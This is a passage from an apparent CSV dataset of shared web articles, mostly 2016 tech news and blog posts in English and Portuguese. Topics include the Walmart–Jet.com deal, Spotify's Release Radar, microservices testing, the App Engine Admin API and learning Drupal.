queiram seguir durante os jogos. HPE A HPE participa de uma forma não tão direta na Rio 2016. A companhia participou de um projeto de modernização da infraestrutura de rede do RIOgaleão (Aeroporto Internacional Tom Jobim), que será a porta de entrada oficial das Olimpíadas. a iniciativa contemplou, também, o lançamento de um aplicativo para facilitar a vida dos turistas no local. GE A GE fechou acordo com o COI para fornecer um software de gestão da saúde para toda a estrutura oficial de atendimento médico das Olimpíadas de 2016, no Brasil, incluindo a Policlínica, e que atenderá atletas de todos os lugares do mundo. A companhia é uma das patrocinadoras dos Jogos. A tecnologia, chamada Centricity Practice Solution, foi desenvolvida inicialmente para o United States Olympic Committee (USOC), que a tem utilizado com muito sucesso desde os Jogos Olímpicos Londres 2012. A ferramenta, que realiza o registro eletrônico de todas as interações médicas dos atletas, contará com uma versão totalmente em português, atendendo às leis de saúde brasileiras, além de possuir os conteúdos e aplicações em inglês.",pt
1470415328,CONTENT SHARED,-8950763842769120954,5127372011815639401,-1389210559182708109,,,,HTML,http://www.bizreport.com/2016/08/mobify-report-reveals-impact-of-mobile-website-speed.html,Mobify report reveals impact of mobile website speed,"Mobify's 2016 Q2 Mobile Insights Report provides marketers with back-up to what they probably already know. Analysis of large volumes of data from Mobify's customer base in Q2 2016, illustrates the impact of mobile website speed on consumer engagement, conversions and top-line growth. ""Retail has rallied around the idea that successful ecommerce hinges on evolving quickly to support mobile engagement, but there is little data to support it and limited large volume data from leading retailers. With Mobify Mobile Insights, we aim to fill that gap, offer eye-opening data, and as importantly, provide specific guidance for retailers so they can act on what they learn,"" said Vik Kambli, senior director of strategy at Mobify. So, what does Mobify's research tell us, specifically? - For every 100ms decrease in homepage load speed, Mobify's customer base saw a 1.11% lift in session based conversion, amounting to an average annual revenue increase of $376,789; - For every 100ms decrease in checkout page load speed, Mobify's customers saw a 1.55% life in session based conversion, amounting to an average annual revenue increase of $526,147; - Shoppers browse more on faster mobile websites; - An increase of one pageview per user results in a 5.17% lift in user based conversion, i.e. for each additional page viewed per user, Mobify saw their average customer's annual revenue increase by: $398,484.",en
1470416057,CONTENT SHARED,7526364197140419661,6013226412048763966,-1503381279074578444,,,,HTML,http://www.jjhws.com/solutions/digital-health-coaching,Digital Health Coaching,"Skills for Life: A Scalable Approach to Behavior Change We believe that inside each individual lies the power to change-to be healthier and happier. Behavior change can be incredibly challenging. That's why we're proud to have been one of the first to offer Digital Health Coaching, which combines advanced technology and behavioral science to emulate a live health coach. Our programs offer an individually tailored and scalable approach to coaching, with a demonstrated ability to deliver results across large populations. We bring this approach to health plans to support their pursuit of the Triple Aim goals-achieving better health outcomes, at lower cost, all while enhancing the member experience. Drawing upon a wide array of validated behavior science models, our Digital Health Coaching solution can help empower your members by helping them build the skills they need most. You are striving for lower costs and satisfied members who are engaged, motivated, and confident in their ability to make healthy behavior change-our solution can help you achieve that. Being engaged with your health means being engaged with your life. Digital Health Coaching can help your members engage with their health-every day. Scientifically Based Created by behavioral scientists, health professionals, and content tailoring experts, our programs are built upon a foundation of tailored guidance and actionable steps to develop skills. This skills-based approach can help people dealing with multiple challenges (diabetes, depression, sleep problems, and more). Individually Tailored We recommend concrete, tailored action steps based on user-identified health and wellness goals. The personalized experience is designed to help increase success by tapping into a user's 'core values'. Skills and action steps also easily map to real-world activities to help foster behavior change. A Compelling Experience For Participants Our programs are designed to provide an engaging and interactive user experience-holistically connecting users' health and behavior with their core values and life goals. Tailored coaching content is delivered in small packages to help create a quick yet effective interaction and help create healthy habits. Designed to be responsive for desktop, tablet, and phone. Click here to schedule a product demonstration.",en
1470418766,CONTENT SHARED,-6156751702010469220,3302556033962996625,769925043682591828,,,,HTML,https://blog.codinghorror.com/the-broken-window-theory/,The Broken Window Theory,"In a previous entry , I touched on the broken window theory. You might be familiar with the Pragmatic Progammers' take on this : Don't leave ""broken windows"" (bad designs, wrong decisions, or poor code) unrepaired. Fix each one as soon as it is discovered. If there is insufficient time to fix it properly, then board it up. Perhaps you can comment out the offending code, or display a ""Not Implemented"" message, or substitute dummy data instead. Take some action to prevent further damage and to show that you're on top of the situation. We've seen clean, functional systems deteriorate pretty quickly once windows start breaking. There are other factors that can contribute to software rot, and we'll touch on some of them elsewhere, but neglect accelerates the rot faster than any other factor. That's excellent advice for programmers, but it's not the complete story. The broken window theory is based on an Atlantic Monthly article published in 1982. It's worth reading the article to get a deeper understanding of the human factors driving the theory: Second, at the community level, disorder and crime are usually inextricably linked, in a kind of developmental sequence. Social psychologists and police officers tend to agree that if a window in a building is broken and is left unrepaired, all the rest of the windows will soon be broken. This is as true in nice neighborhoods as in rundown ones. Window-breaking does not necessarily occur on a large scale because some areas are inhabited by determined window-breakers whereas others are populated by window-lovers; rather, one unrepaired broken window is a signal that no one cares, and so breaking more windows costs nothing. (It has always been fun.) Philip Zimbardo, a Stanford psychologist, reported in 1969 on some experiments testing the broken-window theory. He arranged to have an automobile without license plates parked with its hood up on a street in the Bronx and a comparable automobile on a street in Palo Alto, California. The car in the Bronx was attacked by ""vandals"" within ten minutes of its ""abandonment."" The first to arrive were a family--father, mother, and young son--who removed the radiator and battery. Within twenty-four hours, virtually everything of value had been removed. Then random destruction began--windows were smashed, parts torn off, upholstery ripped. Children began to use the car as a playground. Most of the adult ""vandals"" were well-dressed, apparently clean-cut whites. The car in Palo Alto sat untouched for more than a week. Then Zimbardo smashed part of it with a sledgehammer. Soon, passersby were joining in. Within a few hours, the car had been turned upside down and utterly destroyed. Again, the ""vandals"" appeared to be primarily respectable whites. Untended property becomes fair game for people out for fun or plunder and even for people who ordinarily would not dream of doing such things and who probably consider themselves law-abiding. Because of the nature of community life in the Bronx--its anonymity, the frequency with which cars are abandoned and things are stolen or broken, the past experience of ""no one caring""--vandalism begins much more quickly than it does in staid Palo Alto, where people have come to believe that private possessions are cared for, and that mischievous behavior is costly. But vandalism can occur anywhere once communal barriers--the sense of mutual regard and the obligations of civility--are lowered by actions that seem to signal that ""no one cares."" There's even an entire book on this subject . What's fascinating to me is that the mere perception of disorder-- even with seemingly irrelevant petty crimes like graffiti or minor vandalism -- precipitates a negative feedback loop that can result in total disorder: We suggest that ""untended"" behavior also leads to the breakdown of community controls. A stable neighborhood of families who care for their homes, mind each other's children, and confidently frown on unwanted intruders can change, in a few years or even a few months, to an inhospitable and frightening jungle. A piece of property is abandoned, weeds grow up, a window is smashed. Adults stop scolding rowdy children; the children, emboldened, become more rowdy. Families move out, unattached adults move in. Teenagers gather in front of the corner store. The merchant asks them to move; they refuse. Fights occur. Litter accumulates. People start drinking in front of the grocery; in time, an inebriate slumps to the sidewalk and is allowed to sleep it off. Pedestrians are approached by panhandlers. At this point it is not inevitable that serious crime will flourish or violent attacks on strangers will occur. But many residents will think that crime, especially violent crime, is on the rise, and they will modify their behavior accordingly. They will use the streets less often, and when on the streets will stay apart from their fellows, moving with averted eyes, silent lips, and hurried steps. ""Don't get involved."" For some residents, this growing atomization will matter little, because the neighborhood is not their ""home"" but ""the place where they live."" Their interests are elsewhere; they are cosmopolitans. But it will matter greatly to other people, whose lives derive meaning and satisfaction from local attachments rather than worldly involvement; for them, the neighborhood will cease to exist except for a few reliable friends whom they arrange to meet. Programming is insanely detail oriented, and perhaps this is why: if you're not on top of the details, the perception is that things are out of control, and it's only a matter of time before your project spins out of control. Maybe we should be sweating the small stuff .",en
1470423078,CONTENT SHARED,-6394075099886393346,-1443636648652872475,5056870311880053871,,,,HTML,https://cloudplatform.googleblog.com/2016/08/automate-deployments-and-traffic-splitting-with-the-App-Engine-Admin-API.html,Automate deployments and traffic splitting with the App Engine Admin API,"Google App Engine provides you with easy ways to manage your application from the Google Cloud Platform Console or the command line. However, there are situations when you need to manage your application programmatically. Perhaps you need to deploy to App Engine from your own custom tool chain, or you want to write your own A/B testing framework. The App Engine Admin API lets you do all these things and more, so we're happy to announce that the API is now generally available. You can use the Admin API not only to deploy new versions and manage traffic for any service, but also to change various configuration settings of your application, such as instance class . You can also stop individual versions in order to scale your App Engine Flexible environment deployments to zero. Finally, the API allows you to deploy several App Engine services in parallel, speeding up your deployments. You can use the Google APIs explorer to easily test-drive the API and get a feel for what it offers. Usage example Let's return to the earlier scenario: imagine that you're writing a script to deploy a new version of your application and test it with 50% of production traffic or gradually shift the rest of the traffic to the new version. Let's walk through the basic steps here; you'll find the full instructions in our Getting started guide . To deploy a version, you'll generally follow these steps: Stage your application resources to a Google Cloud Storage bucket Convert your app.yaml file to a JSON manifest Send an HTTP POST request to the Admin API to create the new version For this example, we'll deploy a version for which the source code has already been staged. First, create a file called ""helloworld.json"" with the following contents: Next, send an HTTP POST request to the Admin API to create the new version: (To actually send this request, you'll need to set up authentication tokens; the Getting started guide contains the full steps.) The response will contain the ID of a long-running operation that you can then poll to identify when the deployment has completed. To split traffic between versions, you need at least one other version. You can create another version by changing the version ID and redeploying the same app. For example, using the same steps, deploy a ""appengine-goodbyeworld"" version using this JSON manifest: Once the version is successfully deployed, route 50% of traffic to it with the following request: Now you can visit your application at >.appspot.com . As you reload the page, you'll see the contents change depending on which version your request got routed to. Another way to move traffic between versions is to use App Engine's Traffic Migration feature to gradually shift all traffic as quickly as possible while giving the new instances sufficient time to warm up: More information The App Engine Admin API documentation contains full instructions on how to use the API, including how to authenticate to the API, deploy versions and set traffic splits. We hope the Admin API simplifies your day-to-day workflows by letting you manage your App Engine applications from the tools you already use.",en
1470425469,CONTENT SHARED,-4138575697540914268,-1443636648652872475,5056870311880053871,,,,HTML,http://www.wired.com/2016/08/spotifys-latest-algorithmic-playlist-full-favorite-new-music/,Spotify's Latest Algorithmic Playlist Is Full of Your Favorite New Music,"Friday is the best day of the week in the music industry. It's when the new stuff drops, the albums and singles that will dominate radio play for the next few days, weeks, months, and in Drake's case, the next several generations. Spotify's New Music Friday is one of the best ways to see what's out, and one of the service's most popular playlists. But starting this Friday, you'll probably first head to Release Radar, Spotify's new, hyper-personalized playlist of new tracks. Today and every Friday after, it'll serve up two hours of fresh jams you'll (probably, hopefully) love. Release Radar is a direct offshoot of Discover Weekly , Spotify's first attempt at automatically making playlists for every one of its users. Discover Weekly refreshes every Monday, with 30 new tracks Spotify's algorithms think you'll love. The playlist has become sort of a phenomenon. More than 40 million people are using it to stream billions of tracks. It's the best thing about the Monday morning commute, really. It's safe to say Spotify didn't expect Discover Weekly to get this big this fast. ""It was a complete surprise,"" says Edward Newett, the company's lead software engineer and the guy who originally hacked together Discover Weekly in 2014. ""At the time,"" he says, ""I don't think we were super focused on music discovery in that sense."" Spotify had the Discover page, and the artist and song radio, and that seemed good enough. ""This just fell out of luck, in a way."" Newett and Spotify's other engineers have spent the last year tweaking the service's infrastructure to be able to handle the workload of simultaneously making 100 million different playlists. Now they're looking for other places to use the tech, starting with brand-new music. Release Radar's a little different from Discover Weekly. Since the tracks are new, Spotify obviously has no listening data. Instead, the company relies on its deep and specific knowledge of the music itself, along with your listening history, to figure out what you might want to know about. In my case, it works really well: I got two hours mostly full of new releases from artists I already knew, along with a couple of well-placed wild cards. Release Radar won't be the last automatic, ever-evolving playlist from Spotify. In the company's view, this kind of playlist is the future of music. For decades, we all listened by the album: drop it on the turntable, put the needle down, sit back, and let the LP wash over you. Then listeners flocked to music video countdowns and MP3 downloads, and eventually found themselves in command of the Internet Jukebox and its infinite catalog of videos and songs. Somewhere in there, we lost the ability to just press play, close our eyes, and enjoy. Playlists are giving that back. After trying lots of other formats, Newett says, ""We've now found that the playlist format is actually a super successful way to ship product. It's a similar, very lean-back experience."" I've been testing the new playlist for two weeks, and Release Radar has been terrific so far. It's showed me new albums from little-known favorites I never would have noticed otherwise. I've even discovered a couple of new debuts before all my friends did. (Which is, of course, the goal of music: to know the cool stuff first.) It's not quite as horizon-expanding as Discover Weekly, and it's probably not going to create the near-religious devotion that playlist has engendered. But it's a great way to start the day on Friday. And it's further proof that Spotify just gets me.",en
1470451670,CONTENT SHARED,-5027816744653977347,-1443636648652872475,-5218731032175797276,,,,HTML,https://techcrunch.com/2016/08/05/apple-acquires-turi-a-machine-learning-company/,"Apple acquires Turi, a machine learning company","Word just started going around the rumormill that Apple has acquired Turi, a company that describes itself as a ""machine learning platform for developers and data scientists"" We reached out to Apple for confirmation, and sure enough - we got the standard reply they give when they're confirming an acquisition but not saying much else: ""Apple buys smaller technology companies from time to time, and we generally do not discuss our purpose or plans."" Apple declined to comment on the financial terms of the deal, but Geekwire suggests that it was upwards of $200 million. This isn't the first acquisition Apple has made in the AI/Machine Learning space - for example, they acquired Perceptio , a company that specialized in machine learning and image recognition, back in September of 2015 Turi began reaching out to its customers to let them know their products would no longer be available at the end of January, the first indication that an acquisition had occurred. We're hearing that Turi's team will remain in Seattle, rather than moving down to Apple's Cupertino HQ. Story developing..",en
1470580428,CONTENT SHARED,1590841424376000970,-1032019229384696495,1143609664018702592,,,,HTML,https://techcrunch.com/2016/08/06/skully-officially-admits-its-over/,Skully officially admits it's over,"It took more than a week for remaining Skully execs to admit to themselves it was time to shut down. But late last night the company finally sent customers an email, which was obtained by TechCrunch, telling them it has officially closed its doors. The startup's troubles have been brewing for several months but came to a head two weeks ago when Skully's board forced founders Marcus and Mitch Weller out of their own company. Days later most of the employees, including the engineering team, were let go and websites sales for Skully's much-anticipated augmented reality helmet were shut off. The site is still up right now due to what we've been told is a website vendor payment dispute. But the company is no more. Multiple sources inside Skully confirmed to TechCrunch the startup had run out of money and was trying to sell itself off to a subsidiary of Chinese conglomerate LeTV called LeSport. However, a number of disputes, including the possibility of an acquisition, how the founders were spending money and several manufacturing issues, caused a rift to form between the founders and investors. What was left of the executive team were left scrambling to save the company, even telling TechCrunch it was close to raising $6 million in bridge funding to get it through this mess. But it seems it was too little, too late to salvage anything. ""Over the past several weeks our management team has worked feverishly to raise additional capital but unforeseen challenges and circumstances, beyond our control, made this effort impossible,"" the letter to customers read. Skully says it is now filing for Chapter 7 bankruptcy, which also means customers likely won't be getting a refund on pre-orders for the $1500 AR helmet Skully was working on. All of Skully's assets are now subject to liens held by a secured creditor, according to the letter, which ends with an apology to those affected. However, there is somewhat of a silver lining for Skully's customers. Smart bike helmet maker Fusar has offered a credit equivalent for the whole amount any Skully customer paid for their AR-1 helmet under what it is calling the Skully Owners Stimulus (SOS) program. Skully customers won't be able to redeem the full amount at one time, but, says Fusar in an open letter on its website redeem the full cost at one time, but will have an opportunity to recoup the entire value of the original order"" and the company will only charge customers when their order actually ships. Featured Image: Skully UNDER A CC BY 2.0 LICENSE",en
1470657286,CONTENT SHARED,-8159730897893673528,1895326251577378793,8303966574908950301,,,,HTML,http://www.techrepublic.com/article/amazon-still-crushing-cloud-competition-says-gartner-magic-quadrant-for-iaas/,"Amazon still crushing cloud competition, says Gartner Magic Quadrant for IaaS - TechRepublic","""Up and to the right"" has become shorthand for ""the winning position."" Usually, a number of companies wrangle for position in the upper-right quadrant of Gartner's Magic Quadrant, a market research report that looks at leaders in an industry. But, in the newest Magic Quadrant for cloud infrastructure services , Amazon sits virtually alone, with only Microsoft Azure to keep it company. But, that's not really news. Amazon Web Services (AWS), after all, has completely dominated cloud infrastructure services for so long that Gartner crowns it the ""safe choice."" What is interesting, however, is just how far everyone else keeps falling behind. Looking at successive years of Gartner's IaaS Magic Quadrant reveals a pack of also-rans retreating into the distance. Years and years of winning In 2014, Gartner discovered that AWS had 5X the utilized capacity of its next 14 nearest competitors combined. By 2015, that lead had jumped to 10X . While we'd expect to see an industry pioneer dominate the early days of that industry, AWS is unique in its ability to continue to overshadow its ""peers"" for years on end. SEE Amazon spills the secrets of its success: Impossible goals and repeated failure Part of this derives from AWS' ability to appeal to developers, its original audience, while also being ""frequently chosen"" by traditional IT, Gartner noted. The analyst firm also declared, ""AWS is the provider most commonly chosen for strategic, organization-wide adoption."" Not surprisingly, then, ""AWS has a diverse customer base and the broadest range of use cases, including enterprise and mission-critical applications,"" with ""an ecosystem of open-source tools, along with more than a thousand technology partners that have licensed and packaged their software to run on AWS, have integrated their software with AWS capabilities, or deliver add-on services."" This jibes well with Amazon CFO Brian Olsavsky's contention that AWS keeps winning because of its superior speed of innovation, depth of functionality, and breadth of ecosystem. But, what about everyone else? Meet the rearview mirror Of course, Microsoft isn't far behind, with the enterprise giant integrating on-prem and in-cloud workloads in ways no one else can. According to Gartner, ""Microsoft's brand, existing customer relationships, history of running global-class consumer internet properties, deep investments in engineering and innovative roadmap have enabled it to rapidly attain the status of strategic cloud IaaS provider."" SEE Why Kubernetes may be a bigger threat to Amazon than Google's cloud Microsoft, in short, is a credible competitor to AWS. Google isn't yet in the same class, but it at least attains ""Visionary"" status with Gartner. Everyone else, however, is a rounding error. For some time, other cloud providers seemed to be closing the gap with AWS. No more. Take a look at these three consecutive Magic Quadrants. Here's 2014: And here's 2015: Finally, here's the cloud infrastructure market in 2016: See what happened? AWS looks like it's treading water, but really it's simply defining true north for everyone else. Microsoft Azure has been closing the gap. Google, for its part, really does appear to be running in place relative to its bigger cloud competitors. And CenturyLink, IBM, Rackspace, etc.? They're all just etcetera, and getting more so with each passing day. Also see",en
1470658111,CONTENT SHARED,7962608766252092705,-5639303336519418445,5074410523647826758,,,,HTML,http://itforum365.com.br/noticias/detalhe/120831/app-da-natura-ganha-recurso-que-permite-pesquisar-consultoras-e-pontos-de-venda-mais-proximos,App da Natura ganha recurso que permite pesquisar consultoras e pontos de venda mais próximos,"Facilidade A Natura anunciou um novo recurso para o seu aplicativo que permite encontrar consultoras e pontos de venda da marca mais próximos do consumidor. Dentre os locais pesquisáveis para compra de produtos estão farmácias, vending machines e lojas próprias. A companhia tem diversificado canais de comercialização, de forma complementar a venda direta, que já conta com aproximadamente 1,9 milhão de consultoras na América Latina. Para usar o novo serviço, o consumidor deve escolher a opção ""localizar"" ao acessar o aplicativo, disponível gratuitamente para sistemas iOS e Android. Ele será direcionado para um mapa e, com a ajuda do GPS de seu celular, integrado ao Waze e Google Maps. A função se soma a outras funcionalidades oferecidas no app como assinatura da linha de cuidados diários SOU e compra de produtos on-line com lançamentos e ofertas exclusivas e entrega em casa, com a possibilidade de uso da tecnologia de realidade aumentada. Lançado no fim de 2015, o aplicativo evolui constantemente para facilitar a interação dos consumidores com as consultoras e com a marca, modernizando a experiência de compra. ""Investimos para ampliar o acesso aos nossos produtos, tornando o processo de compra e venda mais simples e rápido, tanto para nossos clientes quanto para as consultoras"", diz Agenor Leão, vice-presidente de tecnologia digital da Natura.",pt
1470659231,CONTENT SHARED,-78066964941874046,7645894863578715801,55662953596428738,,,,HTML,http://testdetective.com/microservices-testing/,Microservices testing,"Modern software engineering is all about scalability, product delivery time and cross-platform abilities. These are not just fancy terms - since internet boom, smartphones and all this post-pc era in general, software development turns from monolith, centralised systems into multi-platform applications, with necessity of adjust to constantly changing market requirements. Microservices quickly becames new architecture standard, providing implementation independence and short delivery cycles. New architecture style creates also new challenges in testing and quality assurance. In this article I would like to outline strategies for testing microservices architecture. Most important thing is to understand difference between specific testing layers and their complementarity. Why microservices? What's the architecture of typical, corporate IT system in sectors like financial services, insurances or banking? Typically it's monolith-like architecture, based on single, relational database and SOAP API. One system is responsible for many domains and contexts. Those kind of systems have been working on production for years, and big companies are not willing to risk and change their proven-in-battle architecture. Although, the market requirements are constantly changing, so are technical requirements. Monolith architecture falls short when it comes to scalability or continuous deployment, not to mention technology stack commitment or single point of failure. Here comes microservices ! Are they a silver bullet for all your architectural problems? Well, no - they also have their own issues. What sets them apart though, is ability to quickly adjust your architecture to constantly changing requirements through independent development, deployment and scaling. In simple words, microservices are small, independent applications with single-domain responsibility. Those services communicate between each other through HTTP, usually with use of REST protocol. Microservice architecture is not just a new buzz word. World leading tech companies, like Amazon, Netflix or Twitter base their key system architecture on microservices. Even more significant is that not only new systems are build with use of microservices, but companies also rewrite their old, proven solutions into new architecture. Testing strategies New approach to architecture requires new approach to testing and quality assurance. Focusing mainly on automated testing, we can divide specific layers of tests. Important thing to notice here is that working with single layer is insufficient, and due to their complementarity, you should provide all of them to your project. unit tests - those are nothing new, and nowadays almost everyone understands advantages of TDD approach. In general, unit tests are automatic checks that provide us a feedback whether our implementation complies with the requirements. Unit tests check only system components in the smallest pieces, like single methods, with other dependencies mocked. Unit tests are great when it comes to fast, nearly continuous feedback of our implementation correctness in smallest granulation - methods or single system components. integration tests - as we said, unit tests check single components in isolation. When method A is dependent on method B , we would mock method B in unit test of method A , since we want our test to be deterministic and single-responsible. Although it's desirable at this level, we can have a situation where two system components, working correct in isolation, don't meet functional requirements when integrated together. There we introduce integration tests . Those are ones that check a number of system components or methods working together. For example, if we want to test an endpoint at integration level, we'd send a request, see if service layer done its job and validate a response. Remember that we are in microservices world and our system functionalities depends on few applications communication. So, if the endpoint that we're testing triggers client call to external service, should we let our tests be dependent of application owned by someone else? No - at the level of integration tests, we want to test only one application's components, with external services mocked out. contract testing - microservices architecture depends on communication between services. Although internal implementation of services is independent, interface and API must remain consistent. When we design our service and expose it to the world, we define a contract for our API. Let's imagine hypothetical situation: we're building a service for users registration. Before we store new user in our database, we check if user's ID number does't appear on fraud list. We integrate for this with external service, that we do not owned. Now, if someone - intentionally or not - breaks the contract in validation service, our registration functionality stops working correctly, although we haven't done any changes. Our integration tests where green obviously, since they work on external validation service mocks. Contract tests are automatic checks to assure, that the contract we've agreed on is still preserved. Idea is simple, but how to do that in practice? We depend here largely on the tool that we're using. Worth to mention are tools like Pact or Spring-Cloud Contract - they provide DSL for mocking service on the client side, and interaction playback and verification on server side. end-to-end tests - also known as functional tests, e2e tests are known and used probably even longer than unit tests. In world of microservices, they are much more complex subject though, since our functionalities are based on integration between many application and services. We do not want to mock anything at this level, so our tests are dependent on the state of specific applications. Furthermore, in distributed architecture we change system calls, known from monolithic applications, to network calls. This comes with all the network issues, like timeouts or packets loss. Last but not least, debugging tests with lots of dependencies to external services can be challenging. Nevertheless, end-to-end tests are crucial for our projects quality. To minimize our e2e testing efforts in microservices architecture, we should follow well know, yet rarely kept rules: First of all, functional tests are ones that gives you feedback of key functionalities from your user perspective. That kind of tests tend to be difficult to maintain and have long execution time. Therefore, the number of them should be limited. If some functionality can be tested on lower level - in unit or integration tests - it should be moved there. Keeping user perspective doesn't mean you should build your e2e framework with WebDriver-based libraries. Selenium has many advantages, but it falls short in terms of maintenance cost or execution time. Since you do microservices, majority of user actions can be simulated with service requests, which are not only faster but also more stable. Your test environments should be defined as a code. We don't want to be in situation where test results are dependent to test data or environment state. If you run your functional test suite once a day, good practice would be to build environment from scratch before test execution starts. Obviously, that should be done automatically, with use of tools like , or . Going beyond Test layers I've mentioned, are just core aspects of automated testing. Having vast of our test scope automated, leaves us with time to perform complex manual testing. You can do either exploration or context-driven testing. Another key aspect of quality assurance in microservices are performance tests. Your system architecture depends on distributed network calls, so you should put a great attention to performance of your application. There is a common question, whether you should load-test single endpoints in isolation, or whole functionalities, simulating chain of network calls. In my experience, both of approaches are important. Testing single endpoints gives you knowledge of some technical details of your implementation and lets you to profile service in isolation. Testing chain of service calls draws your attention to performance-bottlenecks of your system and lets you know where scalability effort should be put. Summary Testing in microservices architecture can be more challenging than in traditional, monolithic architecture. In combination with continuous integration and deployment, it's even more complex. It's important to understand layers of tests and how they differ from each other. Putting effort on automation aspect of your tests, doesn't mean you shouldn't drop on manual testing. Only combination of various test approaches gives you confidence in product quality.",en
1470666100,CONTENT SHARED,-9128741757954228992,-1032019229384696495,8967586490626066216,,,,HTML,https://techcrunch.com/2016/08/08/confirmed-walmart-buys-jet-com-for-3b-in-cash/,Confirmed: Walmart buys Jet.com for $3B in cash,"Walmart today took its biggest step yet in a bid to compete more against Amazon in the world of digital commerce: today the retail giant announced that it would be acquiring Jet.com - an online-only shopping site that has been live for a little over a year - for $3 billion in cash, plus up to $300 million in shares for the founders. ""We're looking for ways to lower prices, broaden our assortment and offer the simplest, easiest shopping experience because that's what our customers want,"" said Doug McMillon, president and CEO, Wal-Mart Stores, Inc in a statement. ""We believe the acquisition of Jet accelerates our progress across these priorities. Walmart.com will grow faster, the seamless shopping experience we're pursuing will happen quicker, and we'll enable the Jet brand to be even more successful in a shorter period of time. Our customers will win. It's another jolt of entrepreneurial spirit being injected into Walmart."" The news caps off a week of reports that Walmart was in talks to buy the company, with several sources telling others (and us directly ) that the price tag would be precisely this amount. Jet.com's ambitions and positioning have in some ways far outstripped what the company has actually achieved in its relatively short life as a startup - with early investor interest, it seems, largely based on the strength and vision of the founding team. That team included and was led by Marc Lore, who had founded Quidsi, the umbrella company for Daipers.com, Soap.com and BeautyBar.com, and then sold the company to Amazon for $545 million in 2010. Founded in 2013, the company had raised hundreds of millions of dollars (upwards of $500 million , but possibly more unreported) at a steadily rising valuation before finally launching in July 2015 . Previous funding rounds included investments from another company that likely keeps Amazon and Walmart up at night: Alibaba . The $3 billion that Jet.com has now sold for, in fact, was one valuation that the company was reportedly floating for a funding round it was trying to raise for the end of last year. But as a startup, Jet.com has had some distinct ups and downs. When it first opened its virtual doors for business, Jet.com was modelled on the model made popular by services like Amazon Prime and Costco, where users had to be members ($50/year in Jet.com's case) in order to shop for discounted goods on the site. That fee was dropped some three months after the site went live in order to drive more users. To increase the number of products on its platform, early on Jet.com ran into trouble with several brands after linking to their own sites without permission . While the membership fee was essentially The company had projected that it would only reach profitability in 2020. More to come.",en
1470669315,CONTENT SHARED,7681335193431615119,3609194402293569455,4378349498210710851,,,,HTML,https://endeavor.org.br/historias-empreendedores-videos-day1-2016/,6 Histórias de Empreendedores - Day1 2016,"Veja os vídeos das jornadas de quem esteve no palco do Day1 2016! ""Nós somos os homens insensatos, nós adaptamos o país e a civilização à nossa loucura"", finaliza Nizan Guanaes. É dia 1º de Agosto de 2016 e, na Sala São Paulo, mais de mil pessoas aplaudem de pé. Antes dele, outros cinco grandes nomes compartilharam suas histórias de vida: Salim Mattar, Carlos Wizard, Gustavo Ziller, Cristina Boner e Renato Saraiva. Todos empreendedores que - emprestando o mote do evento esse ano - desafiaram a razão e acreditaram na loucura de transformar a realidade em que vivem. Se você não conseguiu acompanhar online ou quer relembrar os momentos que mais te inspiraram, confira abaixo os vídeos do Day1 2016! 1. Nizan Guanaes, Grupo ABC: ""Ganhei muita coisa perdendo"" Em setembro de 1989, ele tinha U$1 milhão para começar seu novo negócio. Em março de 1990, o governo tomou tudo. A Era Collor podia ter destruído os sonhos de Nizan. Ele ficou um dia inteiro deitado em sua cama, sem saber o que fazer. No dia seguinte, se levantou. 2. Salim Mattar, Localiza: Os conselhos que não segui ""Zé, o que você vai ser quando crescer?"", seu pai o perguntava quando criança. ""Vou abrir um comércio pra mim"", era a resposta certa. A luz sobre que comércio era esse viria em uma tarefa corriqueira do garoto como ofice boy. Do dia em que financiou seus primeiros fuscas em diante, Salim buscou muitos conselhos. 3. Carlos Wizard, Sforza Holding: Sonhos não têm limites Com 17 anos, ele foi aos EUA pela primeira vez com 100 dólares no bolso e acabou lavando pratos para se sustentar. Da segunda vez, já casado e pai de 2 filhos, voltou para fazer faculdade. Voltando ao Brasil, os amigos pediam: ""Carlos, será que você não poderia nos dar umas aulinhas de inglês?"" 4. Gustavo Ziller, 7Cumes: Empreendedor de gente ""É impossível um ser humano continuar o mesmo depois que ele tem certeza absoluta de que chegou a hora dele"". Em 2012, Ziller viveu esse momento. Mas em vez de entender o que havia feito de errado, revisitou tudo aquilo que tinha feito certo. Então, começou uma revolução. 5. Cristina Boner, GlobalWeb: Não aceite não como resposta Se você descobre que o Bill Gates está vindo para o Brasil, o que você faz? Bom, a Cristina viu uma oportunidade e quebrou protocolos para chamar sua atenção e levar seus sonhos às alturas. 6. Renato Saraiva, CERS: Tinha tudo pra dar ruim Criado em Vigário Geral, Renato penou para pagar seus próprios estudos, até se tornar funcionário público. Quando se mudou para Recife, começou a dar aulas para concurseiros. Em um ato de loucura, vendeu tudo que tinha e resolveu transformar isso em negócio. Clique aqui para se inscrever no canal da Endeavor Brasil no YouTube e assistir a mais edições do Day1!",pt
1470676183,CONTENT SHARED,7612428320594238723,3891637997717104548,1143023393355702515,,,,HTML,https://drupalize.me/blog/201607/why-learning-drupal-hard,Why Is Learning Drupal Hard?,"I'm super excited to be invited to be a keynote speaker for this year's DrupalCamp WI (July 29/30). If you're in the area you should attend. The camp is free. The schedule is shaping up and includes some great presentations. Spending time with other Drupal developers is by and large the most effective way to learn Drupal. So sign-up, and come say hi to Blake and me. Why is Drupal hard? The title of my presentation is ""Why is Drupal Hard?"" It is my belief that if we want to continue to make it easier for people to learn Drupal we first need to understand why it is perceived as difficult in the first place. In my presentation I'm going to talk about what makes Drupal hard to learn, why it's not necessarily accurate to label difficult as ""bad"", and what we as individuals and as a community can do about it. As part of the process of preparing for this talk I've been working on forming a framework within which we can discuss the process of learning Drupal. And I've got a couple of related questions that I would love to get other people's opinions on. But before I can ask the question I need to set the stage. Close your eyes, take a deep breath, and imagine yourself in the shoes of someone setting out to be a ""Drupal developer."" Falling off the Drupal learning cliff When it comes to learning Drupal, I have a theory that there's an inverse relationship between the scope of knowledge that you need to understand during each phase of the learning process and the density of available resources that can teach it to you. Accepting this, and understanding how to get through the dip, is an important part of learning Drupal. This is a commonly referenced idea when it comes to learning technical things in general, and I'm trying to see how it applies to Drupal. Phase 1 When you set out to start, there's a plethora of highly-polished resources teaching you things that seem tricky but are totally doable with their hand holding. Drupalize.Me is a classic example: polished tutorials that guide you step-by-step through accomplishing a pre-determined goal. During this stage you might learn how to use fields and views to construct pages. Or how to implement the hook pattern in your modules. You don't have a whole lot of questions yet because you're still formulating an understanding of the basics, and the scope of things you need to know is relatively limited. For now. As you work through hand-holding tutorials, your confidence increases rapidly. Phase 2 Now that you're done with ""Hello World!"", it's time to try and solve some of your own problems. As you proceed you'll eventually realize that it's a lot harder when the hand-holding ends. It feels like you can't actually do anything on your own just yet. You can find tutorials but they don't answer your exact question. The earlier tutorials will have pointed you down different paths that you want to explore further but the 